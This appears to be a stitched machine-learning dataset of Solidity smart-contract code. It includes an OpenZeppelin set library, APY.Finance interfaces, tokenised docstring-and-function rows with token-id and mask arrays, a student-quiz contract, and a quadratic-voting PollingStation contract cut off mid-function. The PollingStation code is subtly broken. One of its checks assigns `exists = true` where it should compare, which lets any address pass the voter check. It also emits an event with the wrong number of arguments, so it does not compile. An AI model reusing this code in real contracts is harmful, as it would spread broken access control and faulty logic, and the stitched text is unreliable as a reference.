// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.6.11;
/// @title Interface to Access APY.Finance's Asset Allocations
/// @author APY.Finance
/// @notice Enables 3rd Parties (ie. Chainlink) to pull relevant asset allocations
/// in order to compute the TVL across the entire APY.Finance system.
interface IAssetAllocation {
/// @notice Returns a list of all identifiers where asset allocations have been registered
/// @dev the list contains no duplicate identifiers
/// @return list of all the registered identifiers
function getAssetAllocationIds() external view returns (bytes32[] memory);
/// @notice Executes the bytes lookup data registered under an id
/// @dev The balance of an id may be aggregated from multiple contracts
/// @param allocationId the id to fetch the balance for
/// @return returns the result of the executed lookup data registered for the provided id
function balanceOf(bytes32 allocationId) external view returns (uint256);
/// @notice Returns the token symbol registered under an id
/// @param allocationId the id to fetch the token for
/// @return returns the result of the token symbol registered for the provided id
function symbolOf(bytes32 allocationId)
external
view
returns (string memory);
/// @notice Returns the decimals registered under an id
/// @param allocationId the id to fetch the decimals for
/// @return returns the result of the decimal value registered for the provided id
function decimalsOf(bytes32 allocationId) external view returns (uint256);
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
/**
* @title Interface for addition and removal of asset allocations
for account deployments
* @author APY.Finance
* @notice These functions enable external systems to pull necessary info
* to compute the TVL of the APY.Finance system.
*/
interface ITVLManager {
// struct representing a view call execution against a target contract given bytes
// target is the target contract to execute view calls against
// bytes data represents the encoded function signature + parameters
struct Data {
address target;
bytes data;
}
// struct representing the relevant pieces of data that need to be provided when registering an asset allocation
// symbol is the symbol of the token that the resulting view call execution will need to be evaluated as
// decimals is the number of decimals that the resulting view call execution will need to be evaluated as
// data is the struct representing the view call execution
struct AssetAllocation {
string symbol;
uint256 decimals;
Data data;
}
function addAssetAllocation(
Data calldata data,
string calldata symbol,
uint256 decimals
) external;
function removeAssetAllocation(Data calldata data) external;
function generateDataHash(Data calldata data)
external
pure
returns (bytes32);
function isAssetAllocationRegistered(Data calldata data)
external
view
returns (bool);
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.6.11;
interface IOracleAdapter {
struct Value {
uint256 value;
uint256 periodEnd;
}
function setTvl(uint256 value, uint256 period) external;
function setAssetValue(
address asset,
uint256 value,
uint256 period
) external;
function lock() external;
function defaultLockPeriod() external returns (uint256 period);
function setDefaultLockPeriod(uint256 period) external;
function lockFor(uint256 period) external;
function unlock() external;
function getAssetPrice(address asset) external view returns (uint256);
function getTvl() external view returns (uint256);
function isLocked() external view returns (bool);
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.6.11;
/**
* @title Interface to access APY.Finance's address registry
* @author APY.Finance
* @notice The address registry has two important purposes, one which
* is fairly concrete and another abstract.
*
* 1. The registry enables components of the APY.Finance system
* and external systems to retrieve core addresses reliably
* even when the functionality may move to a different
* address.
*
* 2. The registry also makes explicit which contracts serve
* as primary entrypoints for interacting with different
* components. Not every contract is registered here, only
* the ones properly deserving of an identifier. This helps
* define explicit boundaries between groups of contracts,
* each of which is logically cohesive.
*/
interface IAddressRegistryV2 {
/**
* @notice Returns the list of identifiers for core components of
* the APY.Finance system.
* @return List of identifiers
*/
function getIds() external view returns (bytes32[] memory);
/**
* @notice Returns the current address represented by an identifier
* for a core component.
* @param id Component identifier
* @return The current address represented by an identifier
*/
function getAddress(bytes32 id) external view returns (address);
function poolManagerAddress() external view returns (address);
function tvlManagerAddress() external view returns (address);
function chainlinkRegistryAddress() external view returns (address);
function daiPoolAddress() external view returns (address);
function usdcPoolAddress() external view returns (address);
function usdtPoolAddress() external view returns (address);
function mAptAddress() external view returns (address);
function lpSafeAddress() external view returns (address);
function oracleAdapterAddress() external view returns (address);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
| SPDX-License-Identifier: UNLICENSED* @title Interface to access APY.Finance's address registry @author APY.Finance @notice The address registry has two important purposes, one which is fairly concrete and another abstract. 1. The registry enables components of the APY.Finance system and external systems to retrieve core addresses reliably even when the functionality may move to a different address. 2. The registry also makes explicit which contracts serve as primary entrypoints for interacting with different components. Not every contract is registered here, only the ones properly deserving of an identifier. This helps define explicit boundaries between groups of contracts, each of which is logically cohesive./ | interface IAddressRegistryV2 {
function getIds() external view returns (bytes32[] memory);
function getAddress(bytes32 id) external view returns (address);
function poolManagerAddress() external view returns (address);
function tvlManagerAddress() external view returns (address);
function chainlinkRegistryAddress() external view returns (address);
function daiPoolAddress() external view returns (address);
function usdcPoolAddress() external view returns (address);
function usdtPoolAddress() external view returns (address);
function mAptAddress() external view returns (address);
function lpSafeAddress() external view returns (address);
function oracleAdapterAddress() external view returns (address);
}
| 195,627 | [
1,
3118,
28826,
17,
13211,
17,
3004,
30,
5019,
6065,
1157,
18204,
225,
6682,
358,
2006,
14410,
61,
18,
6187,
1359,
1807,
1758,
4023,
225,
14410,
61,
18,
6187,
1359,
225,
1021,
1758,
4023,
711,
2795,
10802,
13694,
16,
1245,
1492,
540,
353,
284,
1826,
715,
12220,
471,
4042,
8770,
18,
540,
404,
18,
1021,
4023,
19808,
4085,
434,
326,
14410,
61,
18,
6187,
1359,
2619,
540,
471,
3903,
14908,
358,
4614,
2922,
6138,
14719,
6906,
540,
5456,
1347,
326,
14176,
2026,
3635,
358,
279,
3775,
540,
1758,
18,
540,
576,
18,
1021,
4023,
2546,
7297,
5515,
1492,
20092,
12175,
540,
487,
3354,
1241,
4139,
364,
16592,
310,
598,
3775,
540,
4085,
18,
225,
2288,
3614,
6835,
353,
4104,
2674,
16,
1338,
540,
326,
5945,
8214,
5620,
6282,
434,
392,
2756,
18,
225,
1220,
21814,
540,
4426,
5515,
15054,
3086,
3252,
434,
20092,
16,
540,
1517,
434,
1492,
353,
2
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] | [
1,
5831,
467,
1887,
4243,
58,
22,
288,
203,
565,
445,
2634,
87,
1435,
3903,
1476,
1135,
261,
3890,
1578,
8526,
3778,
1769,
203,
203,
565,
445,
14808,
12,
3890,
1578,
612,
13,
3903,
1476,
1135,
261,
2867,
1769,
203,
203,
565,
445,
2845,
1318,
1887,
1435,
3903,
1476,
1135,
261,
2867,
1769,
203,
203,
565,
445,
268,
10872,
1318,
1887,
1435,
3903,
1476,
1135,
261,
2867,
1769,
203,
203,
565,
445,
2687,
1232,
4243,
1887,
1435,
3903,
1476,
1135,
261,
2867,
1769,
203,
203,
565,
445,
5248,
77,
2864,
1887,
1435,
3903,
1476,
1135,
261,
2867,
1769,
203,
203,
565,
445,
584,
7201,
2864,
1887,
1435,
3903,
1476,
1135,
261,
2867,
1769,
203,
203,
565,
445,
584,
7510,
2864,
1887,
1435,
3903,
1476,
1135,
261,
2867,
1769,
203,
203,
565,
445,
312,
37,
337,
1887,
1435,
3903,
1476,
1135,
261,
2867,
1769,
203,
203,
565,
445,
12423,
9890,
1887,
1435,
3903,
1476,
1135,
261,
2867,
1769,
203,
203,
565,
445,
20865,
4216,
1887,
1435,
3903,
1476,
1135,
261,
2867,
1769,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.1;
//import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/AccessControl.sol";
//import '@openzeppelin/contracts/access/AccessControl.sol';
import './oz-contracts/access/AccessControl.sol';
import './iAcademyStudentQuiz.sol';
// Off-contract: must be a subscribed student
// A quiz isn't linked to a class, it must be implemented
contract AcademyStudentQuiz is AccessControl {
StudentQuizStruct[] private studentQuizInfo;
//Last attempt quizzes from Student
mapping(address => mapping(string => uint256)) private studentQuizIndex;
//What quizzes a student did?
mapping(address => string[]) private studentQuizList;
//Who did a quiz?
mapping(string => address[]) private quizStudentList;
constructor() {
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
}
event StudentGradeAdded(address indexed student, string indexed quiz, uint8 total, uint8 grade, uint8 attempt);
event StudentGradeDeleted(address indexed student, string quiz);
modifier onlyOwner() {
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "StudentQuiz: only owner");
_;
}
function addStudentQuizAnswer (address student, string memory quiz, string memory answer, uint8 total, uint8 grade) public onlyOwner returns(uint256) {
require (!compareStrings(quiz, ""), "quiz: invalid quiz");
uint256 index = studentQuizIndex[student][quiz];
uint8 lastAttempt = 0;
if (index == 0) {
//Create
lastAttempt = 1;
StudentQuizStruct memory q;
q.student = student;
q.quiz = quiz;
q.answer = answer;
q.attempt = 1;
q.total = total;
q.grade = grade;
studentQuizInfo.push(q);
index = studentQuizInfo.length;
studentQuizIndex[student][quiz] = index;
//What quizzes a student did?
studentQuizList[student].push(quiz);
//Who did a quiz?
quizStudentList[quiz].push(student);
}
else {
index = index - 1;
studentQuizInfo[index].answer = answer;
studentQuizInfo[index].total = total;
studentQuizInfo[index].grade = grade;
studentQuizInfo[index].attempt = studentQuizInfo[index].attempt + 1;
lastAttempt = studentQuizInfo[index].attempt;
}
emit StudentGradeAdded(student, quiz, total, grade, lastAttempt);
return index;
}
function indexOf(address student, string memory quiz) public view returns (uint256) {
return studentQuizIndex[student][quiz];
}
function exists(address student, string memory quiz) public view returns (bool) {
if (studentQuizIndex[student][quiz] == 0)
return false;
else
return true;
}
function getStudentQuiz(address student, string memory quiz) public view returns (StudentQuizStruct memory) {
require (exists(student, quiz), "not exists");
uint256 index = studentQuizIndex[student][quiz]-1;
return studentQuizInfo[index];
}
function getStudentQuiz (uint256 index) public view returns (StudentQuizStruct memory) {
require ((index > 0 ) && (index <= studentQuizInfo.length), "out of range");
return studentQuizInfo[index-1];
}
function countStudentByQuiz (string memory quiz) public view returns (uint256) {
return quizStudentList[quiz].length;
}
function countQuizByStudent (address student) public view returns (uint256) {
return studentQuizList[student].length;
}
function listStudentByQuiz (string memory quiz) public view returns (address[] memory) {
return quizStudentList[quiz];
}
function listQuizByStudent (address student) public view returns (string[] memory) {
return studentQuizList[student];
}
function compareStrings(string memory a, string memory b) private pure returns (bool) {
return (keccak256(abi.encodePacked((a))) == keccak256(abi.encodePacked((b))));
}
}
| CreateWhat quizzes a student did?Who did a quiz? | function addStudentQuizAnswer (address student, string memory quiz, string memory answer, uint8 total, uint8 grade) public onlyOwner returns(uint256) {
require (!compareStrings(quiz, ""), "quiz: invalid quiz");
uint256 index = studentQuizIndex[student][quiz];
uint8 lastAttempt = 0;
if (index == 0) {
lastAttempt = 1;
StudentQuizStruct memory q;
q.student = student;
q.quiz = quiz;
q.answer = answer;
q.attempt = 1;
q.total = total;
q.grade = grade;
studentQuizInfo.push(q);
index = studentQuizInfo.length;
studentQuizIndex[student][quiz] = index;
studentQuizList[student].push(quiz);
quizStudentList[quiz].push(student);
}
else {
index = index - 1;
studentQuizInfo[index].answer = answer;
studentQuizInfo[index].total = total;
studentQuizInfo[index].grade = grade;
studentQuizInfo[index].attempt = studentQuizInfo[index].attempt + 1;
lastAttempt = studentQuizInfo[index].attempt;
}
emit StudentGradeAdded(student, quiz, total, grade, lastAttempt);
return index;
}
| 5,450,495 | [
1,
1684,
23801,
16479,
94,
281,
279,
18110,
5061,
35,
2888,
83,
5061,
279,
16479,
35,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
527,
19943,
319,
928,
452,
13203,
261,
2867,
18110,
16,
533,
3778,
16479,
16,
533,
3778,
5803,
16,
2254,
28,
2078,
16,
2254,
28,
7324,
13,
1071,
1338,
5541,
1135,
12,
11890,
5034,
13,
288,
203,
203,
3639,
2583,
16051,
9877,
7957,
12,
18345,
16,
1408,
3631,
315,
18345,
30,
2057,
16479,
8863,
203,
3639,
2254,
5034,
770,
273,
18110,
928,
452,
1016,
63,
26240,
6362,
18345,
15533,
203,
3639,
2254,
28,
1142,
7744,
273,
374,
31,
203,
540,
203,
3639,
309,
261,
1615,
422,
374,
13,
288,
203,
5411,
1142,
7744,
273,
404,
31,
203,
5411,
934,
1100,
319,
928,
452,
3823,
3778,
1043,
31,
203,
5411,
1043,
18,
26240,
273,
18110,
31,
203,
5411,
1043,
18,
18345,
273,
16479,
31,
203,
5411,
1043,
18,
13490,
273,
5803,
31,
203,
5411,
1043,
18,
11764,
273,
404,
31,
203,
5411,
1043,
18,
4963,
273,
2078,
31,
203,
5411,
1043,
18,
3994,
273,
7324,
31,
203,
5411,
18110,
928,
452,
966,
18,
6206,
12,
85,
1769,
203,
5411,
770,
273,
18110,
928,
452,
966,
18,
2469,
31,
203,
5411,
18110,
928,
452,
1016,
63,
26240,
6362,
18345,
65,
273,
770,
31,
203,
2398,
203,
5411,
18110,
928,
452,
682,
63,
26240,
8009,
6206,
12,
18345,
1769,
203,
5411,
16479,
19943,
319,
682,
63,
18345,
8009,
6206,
12,
26240,
1769,
203,
3639,
289,
203,
3639,
469,
288,
203,
5411,
770,
273,
770,
300,
404,
31,
203,
5411,
18110,
928,
452,
966,
63,
1615,
8009,
13490,
273,
5803,
31,
203,
5411,
18110,
928,
452,
966,
2
] |
pragma solidity ^0.6.0;
import "https://github.com/OpenZeppelin/openzeppelin-solidity/contracts/math/SafeMath.sol";
import "https://github.com/OpenZeppelin/openzeppelin-solidity/contracts/token/ERC20/IERC20.sol";
import "https://github.com/OpenZeppelin/openzeppelin-solidity/contracts/utils/ReentrancyGuard.sol";
import "https://github.com/OpenZeppelin/openzeppelin-solidity/contracts/GSN/Context.sol";
/***************
POLL CONTRACT
***************/
contract PollingStation {
using SafeMath for uint256;
//GLOBAL CONSTANTS
uint256 public periodDuration; // set length of period for a poll (1 = 1 second)
uint256 public pollLength; // set length of the poll in periods
uint256 public startTime; // set start time for poll
uint256 public creationTime; // needed to determine the current period
address public pollster; // creator of the poll
address public voteToken; // token used to decide voting weight
string public pollingStationName;
// HARD-CODED LIMITS
// Set arbitrarily because of gas limits...you know
uint256 constant MAX_VOTERS = 1000; // maximum number of voters
uint256 constant MAX_OPTIONS = 20; // maximum number of options
//EVENTS
event PeepsPollingCreated(address pollster, address voteToken, uint256 periodDuration);
event RegisterVoters(address[] newVoters, uint256[] voterTokens);
event CreateBallot(uint256 proposalIndex, uint256 startingPeriod, uint256 pollLength, bytes32[] options, string details);
event SubmitVote(uint256 proposalIndex, address voter, string option, uint256 tokensSpent, uint256 quadraticVotes);
event TabulateBallot(uint256 ballotIndex, string winningOption);
event Abort(uint256 ballotIndex);
event UpdateDelegateKey(address sender, address newDelegateKey);
//This is a type for a voter.
struct Voter {
address delegate; // allows for user to delegate vote to a different personal wallet address
uint256 tokenBalance; // index of the voted proposal
uint256 highestIndexVote; // highest ballot index # on which the voter voted
uint256 penaltyBox; // set to the period in which the voter is placed in the penalty box
bool exists; // always true once a voter has been created
}
struct userBallot {
address owner;
uint256[] votes;
uint256[] quadraticVotes;
bytes32[] options;
}
// @Dev in v2 call this an "Election"
struct Ballot {
bytes32[] options; // list of options to include in a ballot
uint256[] totalVotes; // total votes each candidate received
uint256[] totalQuadraticVotes; // calculation of quadratic votes for each candidate
uint256 startingPeriod; // the period in which voting can start for this proposal
uint256 pollLength; // the period when the proposal closes
bytes32 winningOption; // name of winning option
bool tabulated; // true only if the proposal has been processed
bool aborted; // true only if applicant calls "abort" fn before end of voting period
string details; // proposal details - could be IPFS hash, plaintext, or JSON
mapping (address => userBallot) votesByVoter; // list of options and corresponding votes
}
//MODIFIERS
modifier onlyPollster() {
require(msg.sender == pollster, "Error: only the pollster can take this action");
_;
}
// stores a `Voter` struct for each voter address.
mapping(address => Voter) public voters;
mapping(address => address) public voterAddressByDelegateKey;
// mapping of proposals for proposalId
mapping(uint256 => Ballot) public ballots;
Ballot[] public ballotQueue;
constructor(
address _pollster,
address _voteToken,
uint256 _periodDuration,
string memory _pollingStationName
) public {
voteToken = _voteToken;
pollster = _pollster;
voteToken = _voteToken;
periodDuration = _periodDuration;
pollingStationName = _pollingStationName;
creationTime = now;
emit PeepsPollingCreated(_pollster, _voteToken, _periodDuration);
}
/***************
VOTER REGISTRATION
***************/
// registers new voters, set voterTokens to 0 if you don't want to mint new tokens for that voter
function registerVoters(address[] memory newVoters, uint256[] memory voterTokens) external onlyPollster {
require(newVoters.length == voterTokens.length, "your arrays do not match in length");
for (uint256 i = 0; i < newVoters.length; i++) {
_registerVoter(newVoters[i], voterTokens[i]);
}
emit RegisterVoters(newVoters, voterTokens);
}
function _registerVoter(address newVoter, uint256 voterTokens) internal {
// if new voter is already taken by a voters's delegateKey, reset it to their voter address
if (voters[voterAddressByDelegateKey[newVoter]].exists == true) {
address voterToOverride = voterAddressByDelegateKey[newVoter];
voterAddressByDelegateKey[voterToOverride] = voterToOverride;
voters[voterToOverride].delegate = voterToOverride;
}
uint256 allocatedTokens = voterTokens;
if (voterTokens > 0) {
require(IERC20(voteToken).approve(address(this), voterTokens), "approval failed");
require(IERC20(voteToken).transferFrom(address(this), newVoter, allocatedTokens), "token transfer failed");
}
voters[newVoter] = Voter({
delegate: newVoter,// allows for user to delegate vote to a different personal wallet address
tokenBalance: 0, // index of the voted proposal
highestIndexVote: 0, // highest ballot index # on which the voter voted
penaltyBox: 0, // set to the period in which the voter is placed in the penalty box
exists: true // always true once a voter has been created
});
voterAddressByDelegateKey[newVoter] = newVoter;
uint256 initialTokenBalance = getVoterTokenBalance(newVoter);
voters[newVoter].tokenBalance = initialTokenBalance;
}
/*****************
BALLOT FUNCTIONS
*****************/
function createBallot(
bytes32[] memory options,
uint256 _startingPeriod,
uint256 _pollLength,
string memory details
)
public onlyPollster {
require(options.length > 0, "Need to have at least 1 option.");
require(options.length < MAX_OPTIONS);
for (uint i=0; i < options.length; i++) {
require(options[i] != 0, "Option cannot be blank");
}
require(_startingPeriod > getCurrentPeriod().add(1), "must set starting period in future");
// create new ballot for some votes ...
/*
bytes32[] options; // list of options to include in a ballot
uint256[] totalVotes; // total votes each candidate received
uint256[] totalQuadraticVotes; // calculation of quadratic votes for each candidate
uint256 startingPeriod; // the period in which voting can start for this proposal
uint256 pollLength; // the period when the proposal closes
string winningOption; // name of winning option
bool tabulated; // true only if the proposal has been processed
bool aborted; // true only if applicant calls "abort" fn before end of voting period
string details; // proposal details - could be IPFS hash, plaintext, or JSON
mapping (address => userBallot) votesByVoter; // list of options and corresponding votes
*/
Ballot memory ballot = Ballot({
options: options,
totalVotes: new uint256[](options.length),
totalQuadraticVotes: new uint256[](options.length),
startingPeriod: _startingPeriod,
pollLength: _pollLength,
winningOption: 0,
tabulated: false,
aborted: false,
details: details
});
// ... and append it to the queue
ballotQueue.push(ballot);
uint256 ballotIndex = ballotQueue.length.sub(1);
emit CreateBallot(ballotIndex, _startingPeriod, _pollLength, options, details);
}
function submitVote(uint256 ballotIndex, bytes32 option, uint256 votes) public {
require(voters[voterAddressByDelegateKey[msg.sender]].exists = true, "not a voter");
address voterAddress = voterAddressByDelegateKey[msg.sender];
Voter storage voter = voters[voterAddress];
require(ballotIndex < ballotQueue.length, "Ballot does not exist");
Ballot storage ballot = ballotQueue[ballotIndex];
require(votes > 0, "At least one vote must be cast");
require(getCurrentPeriod() >= ballot.startingPeriod, "Voting period has not started");
require(!hasVotingPeriodExpired(ballotIndex), "Voting period has expired");
require(!ballot.aborted, "Ballot has been aborted");
userBallot storage voterBallot = ballot.votesByVoter[voterAddress];
// store vote
uint256 totalVotes;
uint256 newVotes;
uint256 quadraticVotes;
//Set empty array for new ballot
if (voterBallot.votes.length == 0) {
voterBallot.votes = new uint256[](ballot.options.length);
voterBallot.quadraticVotes = new uint256[](ballot.options.length);
voterBallot.options = new bytes32[](ballot.options.length);
}
for (uint i = 0; i < ballot.options.length; i++) {
if (ballot.options[i] == option) {
newVotes = voterBallot.votes[i].add(votes);
uint256 prevquadraticVotes = voterBallot.quadraticVotes[i];
quadraticVotes = sqrt(newVotes);
ballot.totalVotes[i] = ballot.totalVotes[i].add(votes);
ballot.totalQuadraticVotes[i] = ballot.totalQuadraticVotes[i].sub(prevquadraticVotes).add(quadraticVotes);
voterBallot.options[i] = option;
voterBallot.votes[i] = newVotes;
voterBallot.quadraticVotes[i] = quadraticVotes;
if (ballotIndex > voter.highestIndexVote) {
voter.highestIndexVote = ballotIndex;
}
}
totalVotes = totalVotes.add(voterBallot.votes[i]);
}
require(totalVotes <= voter.tokenBalance, "Not enough tokens to cast this quantity of votes");
require(IERC20(voteToken).transfer(address(this), votes), "vote token transfer failed");
emit SubmitVote(ballotIndex, msg.sender, voterAddress, option, votes, quadraticVotes);
}
function tabulateBallot(uint256 ballotIndex) public onlyPollster {
require(ballotIndex < ballotQueue.length, "Ballot does not exist");
Ballot storage ballot = ballotQueue[ballotIndex];
require(getCurrentPeriod() >= ballot.startingPeriod.add(ballot.pollLength), "Voting has not ended is not ready to be processed");
require(ballot.tabulated == false, "Ballot has already been tabulated");
require(ballotIndex == 0 || ballotQueue[ballotIndex.sub(1)].tabulated, "Previous ballot must be tabulated first");
// Get favorite option
uint256 largest = 0;
uint chosen = 0;
require(ballot.totalVotes.length > 0, "This ballot has not received any votes.");
bool didPass = true;
for (uint i = 0; i < ballot.totalVotes.length; i++) {
